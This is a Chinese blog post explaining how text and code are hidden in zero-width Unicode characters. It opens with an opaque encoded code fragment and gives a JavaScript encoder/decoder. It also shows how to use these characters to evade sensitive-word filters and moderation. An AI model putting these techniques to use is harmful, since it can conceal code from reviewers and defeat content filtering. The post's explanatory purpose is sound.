‍‍‍‍‌‍‌‍‌‍‌‍‌‍‍‌‍‌‍‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‍‌‌‌‍‍‌‍‌‌‍‌‌‍‌‍‌‍‌‍‍‍‌‍‌‍‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‍‍‍‌‌‍‌‍‍‍‌‌‌‌‍‍‍‍‌‌‍‌‍‍‌‍‌‍‌‍‌‌‌‍‌‍‌‍‌‌‍‍‍‌‍‌‌‍‌‍‌‍‌‍‍‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‍‍‍‍‌‍‍‍‌‌‌‍‌‍‌‍‌‍‌‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‍‌‌‌‌‌‍‌‍‍‍‌‌‍‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‌‍‍‌‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‌‍‍‍‌‍‌‌‍‍‌‍‌‍‍‌‍‌‌‍‌‌‌‍‌‍‌‍‌‌‌‌‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‌‍‌‍‍‌‍‍‌‍‍‌‍‍‌‌‌‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‍‌‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‍‌‍‍‍‌‌‍‍‌‍‍‌‌‌‍‍‍‌‌‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‌‍‌‍‌‍‌‍‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‍‌‍‌‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‌‍‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g)搜索這段代碼,百度和谷歌會把後面的字符串屏蔽掉

同時我在執行斷點調試的時候,發現""中有一大堆小紅點

直接看代碼是隻有“”,但是檢查工具中卻多了一堆小紅點,同時鼠標挪上去時出現Tips有如下內容

我想問題一定出在這個地方,解釋不了的疑問,一定是自己知識的高度不夠,而不是什麼幽靈。我想“”字符中一定隱藏了什麼我看不見的東西,果然一番查閱後,終於發現了原因。

這個幽靈就是:零寬度字符!!! 

零寬度字符:零寬度字符是一些不可見的,不可打印的字符。它們存在於頁面中主要用於調整字符的顯示格式。

一些常見的零寬度字符及它們的unicode碼和原本用途:

零寬度空格符 (zero-width space) U+200B : 用於較長單詞的換行分隔
零寬度非斷空格符 (zero width no-break space) U+FEFF : 用於阻止特定位置的換行分隔
零寬度連字符 (zero-width joiner) U+200D : 用於阿拉伯文與印度語系等文字中,使不會發生連字的字符間產生連字效果
零寬度斷字符 (zero-width non-joiner) U+200C : 用於阿拉伯文,德文,印度語系等文字中,阻止會發生連字的字符間的連字效果
左至右符 (left-to-right mark) U+200E : 用於在混合文字方向的多種語言文本中(例:混合左至右書寫的英語與右至左書寫的希伯來語),規定排版文字書寫方向爲左至右
右至左符 (right-to-left mark) U+200F : 用於在混合文字方向的多種語言文本中,規定排版文字書寫方向爲右至左

上面的例子中,Function("<這裏>".repla... 藏了大量的零寬字符,實際看起來就好像是一個空字符串 "",這個“空”字符串即是“隱藏代碼”經過編碼轉換後得到的全零寬字符串。每個字符都有一個唯一的編碼,將編碼以 2 進製表示得到 01.. 的字串,把 1 替換成 \u200c,把 0 替換成 \u200d就得到一個全零寬空白的字符串,每 8 位零寬字符可用於表示 1 個 ascii 字符。

知道了原理,就發現其實它也沒什麼神奇的地方了,不過還是很感謝原作者,又get到一個知識點。

 

附:

零寬度字符能做什麼?

1. 傳遞隱密信息

利用零寬度字符不可見的特性,我們可以用零寬度字符在任何未對零寬度字符做過濾的網頁內插入不可見的隱形文本。下面是一個簡單的利用零寬度字符對文本進行加密與解密的JavaScript例子:

var textToBinary = function(info) {
    var zeroPad = function(num) {
        return "00000000".slice(String(num).length) + num;
    };
    return info.split('').map(function(char) {
        return zeroPad(char.charCodeAt(0).toString(2));
    }).join(' ');
};
var binaryToText = function(string) {
    return string.split(' ').map(function(num) {
        return String.fromCharCode(parseInt(num, 2));
    }).join('');
};
var binaryToZeroWidth = function(binary) {
    return binary.split('').map(function(binaryNum) {
        var num = parseInt(binaryNum, 10);
        if (num === 1) {
            return '​'; // zero-width space
        } else if (num === 0) {
            return '‌'; // zero-width non-joiner
        }
        return '‍'; // zero-width joiner
    }).join(''); // zero-width no-break space
};
var zeroWidthToBinary = function(string) {
    return string.split('').map(function(char) {
        // zero-width no-break space
        if (char === '​') { // zero-width space
            return '1';
        } else if (char === '‌') { // zero-width non-joiner
            return '0';
        }
        return ' '; // add single space
    }).join('');
};
var result = "這個字符串" + binaryToZeroWidth(textToBinary("csdn.net")) + "包含隱藏信息";
console.log(result);
console.log(binaryToText(zeroWidthToBinary(result)));

注:在使用零寬度字符進行加密時,請儘量避免將加密後的隱形文本插入在明文的開頭或者結尾處,以此來避免隱形文本在複製時被遺漏

應用

1、隱形水印

通過零寬度字符我們可以對內部文件添加隱形水印。在瀏覽者登錄頁面對內部文件進行瀏覽時,我們可以在文件的各處插入使用零寬度字符加密的瀏覽者信息,如果瀏覽者又恰好使用複製粘貼的方式在公共媒體上匿名分享了這個文件,我們就能通過嵌入在文件中的隱形水印輕鬆找到分享者了。

2、加密信息分享

通過零寬度字符我們可以在任何網站上分享任何信息。敏感信息的審覈與過濾在當今的互聯網社區中扮演着至關重要的角色,但是零寬度字符卻能如入無人之境一般輕鬆地穿透這兩層信息分享的屏障。對比明文哈希表加密信息的方式,零寬度字符加密在網上的隱蔽性可以說是達到了一個新的高度。僅僅需要一個簡單的識別/解密零寬度字符的瀏覽器插件,任何網站都可以成爲信息分享的遊樂場。

3. 逃脫詞匹配

通過零寬度字符我們可以輕鬆逃脫敏感詞過濾。敏感詞自動過濾是維持互聯網社區秩序的一項重要工具,只需倒入敏感詞庫和匹配相應敏感詞,即可將大量的非法詞彙拒之門外。使用諧音與拼音來逃脫敏感詞過濾會讓語言傳遞信息的效率降低,而使用零寬度字符可以在逃脫敏感詞過濾的同時將詞義原封不動地傳達給接受者,大大提高信息傳播者與接受者之間交流的效率。

// 利用零寬度字符來分隔敏感詞
const censored = '敏感詞';
let censor = censored.replace(/敏感詞/g, ''); // ''
// 使用零寬度空格符對字符串進行分隔
const uncensored  = Array.from(censored).join('?');
censor = uncensored.replace(/敏感詞/g, ''); // '敏?感?詞'

 

參考鏈接

https://ucren.com/blog/archives/549

https://ucren.com/demos/code-hider/index.html

https://juejin.im/post/5b87a6e26fb9a019b953ee8b

https://www.freebuf.com/articles/web/167903.html

https://houbb.github.io/2019/12/25/zero-width-char

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章